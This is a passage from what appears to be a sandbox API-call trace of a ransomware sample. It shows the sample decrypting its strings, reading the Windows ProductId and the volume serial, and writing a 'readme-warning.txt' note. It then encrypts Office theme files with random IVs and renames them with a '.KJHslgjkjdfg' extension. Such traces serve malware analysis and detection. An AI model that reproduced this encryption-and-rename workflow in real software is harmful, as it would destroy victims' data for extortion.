CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.381] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.381] GetProcessHeap () returned 0x2ef0000 [0171.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.381] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.381] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.381] GetProcessHeap () returned 0x2ef0000 [0171.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.381] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.381] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.381] GetProcessHeap () returned 0x2ef0000 [0171.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.381] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.381] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.381] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.382] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.382] RegCloseKey (hKey=0x114) returned 0x0 [0171.382] GetProcessHeap () returned 0x2ef0000 [0171.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.382] GetProcessHeap () returned 0x2ef0000 [0171.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.382] GetProcessHeap () returned 0x2ef0000 [0171.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.382] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.382] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.382] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.382] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.383] GetProcessHeap () returned 0x2ef0000 [0171.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.383] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.383] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.383] GetProcessHeap () returned 0x2ef0000 [0171.383] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.383] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\readme-warning.txt") returned 83 [0171.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.384] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.385] CloseHandle (hObject=0x114) returned 1 [0171.386] GetProcessHeap () returned 0x2ef0000 [0171.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.386] GetProcessHeap () returned 0x2ef0000 [0171.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.386] GetProcessHeap () returned 0x2ef0000 [0171.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.386] GetProcessHeap () returned 0x2ef0000 [0171.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.386] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.386] GetProcessHeap () returned 0x2ef0000 [0171.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.386] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0171.386] GetProcessHeap () returned 0x2ef0000 [0171.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0171.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.388] GetProcessHeap () returned 0x2ef0000 [0171.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0171.388] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.388] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0171.388] GetProcessHeap () returned 0x2ef0000 [0171.388] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f3e278 [0171.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.389] GetProcessHeap () returned 0x2ef0000 [0171.389] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.389] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.389] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0171.392] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.392] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.392] GetProcessHeap () returned 0x2ef0000 [0171.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.392] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.392] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.392] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.392] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.393] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.393] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.393] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.393] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.393] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10fc7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x10fc7, lpOverlapped=0x0) returned 1 [0171.395] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10fd0, dwBufLen=0x10fd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10fd0) returned 1 [0171.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.396] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10fd0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x10fd0, lpOverlapped=0x0) returned 1 [0171.396] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.396] SetEndOfFile (hFile=0x114) returned 1 [0171.400] GetProcessHeap () returned 0x2ef0000 [0171.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.400] GetProcessHeap () returned 0x2ef0000 [0171.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.kjhslgjkjdfg")) returned 1 [0171.401] CloseHandle (hObject=0x114) returned 1 [0171.401] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0171.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.402] GetProcessHeap () returned 0x2ef0000 [0171.402] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.402] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.402] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0171.404] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.404] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.404] GetProcessHeap () returned 0x2ef0000 [0171.404] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.404] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.404] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.404] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.405] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.405] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.405] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.405] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x201, lpOverlapped=0x0) returned 1 [0171.405] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x210, dwBufLen=0x210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x210) returned 1 [0171.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.405] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x210, lpOverlapped=0x0) returned 1 [0171.405] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.406] SetEndOfFile (hFile=0x114) returned 1 [0171.408] GetProcessHeap () returned 0x2ef0000 [0171.408] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.408] GetProcessHeap () returned 0x2ef0000 [0171.408] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.kjhslgjkjdfg")) returned 1 [0171.415] CloseHandle (hObject=0x114) returned 1 [0171.415] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.416] GetProcessHeap () returned 0x2ef0000 [0171.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.416] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.417] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0171.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.419] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.419] GetProcessHeap () returned 0x2ef0000 [0171.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.419] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.419] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.419] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.419] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.419] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.420] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.420] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.420] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.420] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xba9, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xba9, lpOverlapped=0x0) returned 1 [0171.420] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbb0, 